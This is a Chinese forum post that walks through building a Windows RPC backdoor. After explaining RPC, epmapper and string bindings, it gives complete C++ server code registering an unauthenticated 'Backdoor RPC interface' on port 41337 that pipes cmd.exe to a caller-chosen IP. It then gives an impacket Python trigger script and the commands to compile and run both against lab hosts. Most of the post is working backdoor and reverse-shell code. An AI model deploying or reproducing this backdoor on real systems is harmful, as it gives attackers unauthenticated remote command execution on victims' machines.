电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 559 人浏览分享

构造Windows-RPC接口反弹shell

[复制链接]
559 0
RPC简介

全称为Remote Procedure Call(远程过程调用)是Windows操作系统内部的一种机制,应用于程序之间的相互
通信RPC 的总体思路是可以编写在本地和远程执行代码的应用程序。

误区:似乎像远程服务器的基本 TCP 连接。但是在使用RPC接口的过程中,我们不需要处理网络的输入/输出或
者TCP栈。事实上与网络相关的一切都由RPC runtime library(rpcrt4.dll) 和一个存根处理。而存根目的是将数
据打包(即序列化)到一个数据存根中。

epmapper

RPC 架构中最重要的服务之一:epmapper(RPC Endpoint Mapper)此服务负责列出公开的接口。

QQ截图20220705160649.png

可使用impacket包中的rpcdumps.py列出所有的RPC接口

python rpcdump.py @10.211.55.3 > 3.txt
RPC工作流程

调用 RPC 接口的过程依赖于两个步骤。

首先,客户端将使用所谓的字符串绑定连接到端点

例:SAMR 接口,系统管理员使用此界面远程管理用户和组。

QQ截图20220705160745.png

Prtocol:用于与远程服务器通信的协议
Provider:提供的程序,EXE 或 DLL
UUID:WindowsOS通用唯一识别码 (Universally Unique Identifier)
Bindings:绑定字符串。
字符串绑定定义了如何到达 RPC 接口
字符串绑定的统一格式ObjectUUID@ProtocolSequence:NetworkAddress[Endpoint,Option]
ObjectUUID:我们希望连接的UUID以及版本
ProtocolSequence:用于通过网络传输数据的协议。共有三种主要协议
    NCACN:RPC over a TCP connection
    NCADG:RPC over a UDP connection
    NCALRPC:RPC through a local connection
NetworkAddress:IP
Endpoint:远程接口地址

ncacn_ip_tcp:10.211.55.3[49664]

我们可以通过在端口 49664 上连接到 IP 10.211.55.3来推断出 RPC 接口是可达的。如果我们取这个:

ncalrpc:[samss lpc]

我们可以看到没有 NetworkAddress。这是因为此字符串绑定依赖于ncalrpc协议序列,这意味着 RPC接
口只能通过调用名为samss lpc的端点在本地访问。最后,如果我们采用以下方法:

ncacn_np:\\LHC[\pipe\lsass]

我们可以通过将位于名为 \\LHC的计算机上的 SMB 共享连接到名称管道 \pipe\lsass 来推断该接口是可访问的。

下一步是绑定到接口

我们需要 epmapper 再次公开的两条信息:接口的 UUID 及其版本。

绑定过程将在 RPC 客户端和 RPC 服务器之间创建逻辑连接

抓包分析:

QQ截图20220705160950.png

前三个包为标准的TCP连接包,端点正在侦听端口 41337(这是我们选择的后门端口),对应第一步
意思是通过10.211.55.3:41337连接到端口,字符串绑定如下:
ncacn_ip_tcp:10.211.55.3[41337]
后四个紫色的数据包构成了 DCERPC (**分布式计算环境中的 RPC,就像函数原型。理解不深)**绑定操作和 RPC 调用
第一个数据包尝试绑定 UUID 和接口版本

QQ截图20220705161147.png

第二个数据包是来自RPC服务器的回复,已接收绑定

999.png

第三个包含客户端以序列化格式发送到 RPC 接口的数据存根

162129.png

一旦数据被格式化,它将被转发到 RPC runtime library。

服务器存根反序列化数据并将其转发到服务器代码。

接口构建

定义我们接口的 IDL 文件

[
        uuid(AB4ED934-1293-10DE-BC12-AE18C48DEF33),
        version(1.0),
        implicit_handle(handle_t ImplicitHandle)
]
interface RemotePrivilegeCall
{
        void SendReverseShell(
                [in, string] wchar_t* ip_address,
                [in] int port
        );
}

前一部分是MIDL 接口头,它包含接口的 UUID(我随机选择)、它的版本和要使用的绑定句柄的类型。
下一部分是MIDL 接口主体,其中包含我们的 RPC 接口函数的定义
使用midl.exe编译为C代码
– 一个客户端存根 (RemotePrivilegeCall_c.c)
– 一个服务器存根 (RemotePrivilege_s.c)
– 每个存根中包含一个标头

998.png

服务端(目标机器)代码

#include <stdlib.h>
#include <iostream>
#include <winsock2.h>
#include <windows.h>
#include "RemotePrivilegeCall.h"
// Links the rpcrt4.lib that exposes the WinAPI RPC functions
#pragma comment(lib, "rpcrt4.lib")
// Links the ws2_32.lib which contains the socket functions
#pragma comment(lib, "ws2_32.lib")

// Function that sends the reverse shell
void SendReverseShell(wchar_t* ip_address, int port){
        printf("Sending reverse shell to: %ws:%d\\n", ip_address, port);
        WSADATA wsaData;
        SOCKET s1;
        struct sockaddr_in hax;
        char ip_addr_ascii[16];
        STARTUPINFO sui;
        PROCESS_INFORMATION pi;
        sprintf(ip_addr_ascii, "%ws", ip_address );
        WSAStartup(MAKEWORD(2, 2), &wsaData);
        s1 = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned in
t)NULL, (unsigned int)NULL);

        hax.sin_family = AF_INET;
        hax.sin_port = htons(port);
        hax.sin_addr.s_addr = inet_addr(ip_addr_ascii);

        WSAConnect(s1, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);

        memset(&sui, 0, sizeof(sui));
        sui.cb = sizeof(sui);
        sui.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
        sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE) s1;

        LPSTR commandLine = "cmd.exe";
        CreateProcess(NULL, commandLine, NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
}

// Security callback function
RPC_STATUS CALLBACK SecurityCallback(RPC_IF_HANDLE Interface, void* pBindingHandle){
    return RPC_S_OK; // Whoever binds to the interface, we will allow the connection
}

int main()
{
    RPC_STATUS status; // Used to store the RPC function returns
        RPC_BINDING_VECTOR* pbindingVector = 0;

        // Specify the Rpc endpoints options
        status = RpcServerUseProtseqEpW(
                (RPC_WSTR)L"ncacn_ip_tcp",      // Endpoint to contact
                RPC_C_PROTSEQ_MAX_REQS_DEFAULT, // Default value
                (RPC_WSTR)L"41337",             // Listening port
                NULL                            // Pointer to a security context (we don't care about that)
        );                        

        // Register the interface to the RPC runtime
        status = RpcServerRegisterIf2(
                RemotePrivilegeCall_v1_0_s_ifspec,   // Name of the interface defined in RemotePrivilegeCall.h
                NULL,                                // UUID to bind to (NULL means the one from the MIDL file)
                NULL,                                // Interface to use (NULL means the one from the MIDL file)
                RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH, // Invoke the security callback function
                RPC_C_LISTEN_MAX_CALLS_DEFAULT,      // Numbers of simultaneous connections
                (unsigned)-1,                        // Maximum size of data block received
                SecurityCallback                     // Name of the function that acts as the security callback
        );                  

        // Register the interface to the epmapper
        status = RpcServerInqBindings(&pbindingVector);
        status = RpcEpRegisterW(
                RemotePrivilegeCall_v1_0_s_ifspec,   // Name of the interface defined in RemotePrivilegeCall.h
                pbindingVector,                      // Structure contening the binding vectors
                0,                                   //
                (RPC_WSTR)L"Backdoor RPC interface"  // Name of the interface as exposed on port 135   
        );

        // Launch the interface
        status = RpcServerListen(
                1,                                   // Minimum number of connections
                RPC_C_LISTEN_MAX_CALLS_DEFAULT,      // Maximum number of connetions
                FALSE                                // Starts the interface immediately
        );                              
}

// Function used to allocate memory to the interface
void* __RPC_USER midl_user_allocate(size_t size){
    return malloc(size);
}

// Function used to free memory allocated to the interface
void __RPC_USER midl_user_free(void* p){
    free(p);
}

使用cl.exe将服务器程序和服务器存根编译成一个二进制文件

cl.exe Server.cpp RemotePrivilegeCall_s.c

验证方式:

使用rpcdumps.py枚举 epmapper

996.png

已能够正常工作

客户端代码

import argparse
import time
from impacket.dcerpc.v5 import transport
from impacket.structure import Structure
from impacket.uuid import uuidtup_to_bin
from impacket.dcerpc.v5.ndr import NDRCALL
from impacket.dcerpc.v5.dtypes import WSTR
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5.transport import DCERPCTransportFactory

parser = argparse.ArgumentParser()
parser.add_argument("-rip", help="Remote computer to target", dest="target_ip", type=str, required=True)
parser.add_argument("-rport", help="IP of the remote procedure listener", dest="port", type=int, required=True)
parser.add_argument("-lip", help="Local IP to receive the reverse shell", dest="lip", type=str, required=True)
parser.add_argument("-lport", help="Local port to receive the reverse shell", dest="lport", type=int, required=True)

args = parser.parse_args()
target_ip = args.target_ip
port = args.port
lip = args.lip
lport = args.lport

class SendReverseShell(NDRCALL):
    structure = (
        ('ip_address', WSTR),
        ('port', "<i")
    )

# Creates the string binding
stringBinding = r'ncacn_ip_tcp:{}[{}]'.format(target_ip, port)

# Connects to the remote endpoint
transport = DCERPCTransportFactory(stringBinding)
dce = transport.get_dce_rpc()
dce.connect()
print("
  • Connected to the remote target")

    # Casts the UUID string and version of the interface into a UUID object and binds to the interface
    interface_uuid = uuidtup_to_bin(("AB4ED934-1293-10DE-BC12-AE18C48DEF33", "1.0"))
    dce.bind(interface_uuid)
    print("
  • Binded to AB4ED934-1293-10DE-BC12-AE18C48DEF33")

    print("
  • Formatting the client stub")
    # Creates the client stub and pack its data so it valid
    query = SendReverseShell()
    query['ip_address'] = f"{lip}\\x00"
    query['port'] = lport

    print("
  • Calling the remote procedure")
    try:
        # Calls the function number 0 (the first and only function exposed by our
    interface) and pass the data
        dce.call(0, query)
        # Reading the answer of the RPC server
        dce.recv()
    except Exception as e:
        print(f"[!] ERROR: {e}")
    finally:
        print("
  • Disconecting from the server")
        # Disconnecting from the remote target
        dce.disconnect()

    可调用impacket包实现

    python trigger.py -rip 10.211.55.3 -rport 41337 -lip 10.211.55.10 -lport 9812

    rip:目标机器

    rport:目标机器连接端口

    lip:反弹shell监听机器

    lport:监听端口

    测试

    攻击机

    995.png

    跳板机nc反弹shell

    22.png

    目标机器

    21.png

  • 您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    1

    关注

    0

    粉丝

    9021

    主题
    精彩推荐
    热门资讯
    网友晒图
    图文推荐

    Powered by Pcgho! X3.4

    © 2008-2022 Pcgho Inc.